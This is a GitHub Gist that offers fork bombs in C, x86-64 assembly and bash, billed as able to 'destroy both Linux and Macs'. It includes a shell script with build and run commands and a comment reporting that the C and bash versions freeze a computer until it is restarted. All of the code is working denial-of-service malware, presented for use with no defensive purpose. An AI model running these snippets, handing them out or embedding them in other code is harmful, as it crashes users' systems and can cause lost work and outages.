Last active
August 29, 2022 02:27
-
-
Save tnhung2011/c9e2793117a978f8204bf1746c6065ce to your computer and use it in GitHub Desktop.
A list of fork bombs that could destroy both Linux and Macs
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <unistd.h> | |
int main() { | |
while(1) fork(); | |
return 0; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.global _start | |
_start: | |
mov $0x39, %rax | |
syscall | |
jmp _start |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
:(){ :|:& };: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# Uncomment functions that you wanted to run | |
#-----BUILD----- | |
#assembly build | |
#gcc forkbomb.s -o forkbomb -nostdlib | |
#c build | |
#gcc forkbomb.c -o forkbomb | |
#-----RUN----- | |
#object file | |
#./forkbomb | |
#bash file | |
#/bin/bash -c source ./forkbomb.sh |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
TEST: The Assembly one quits some time after it is runned. The C one runs an infinite amount of time until the computer is restarted. The Bash one have a long lifespan just like the C one, but its performance is more worse than C and Assembly.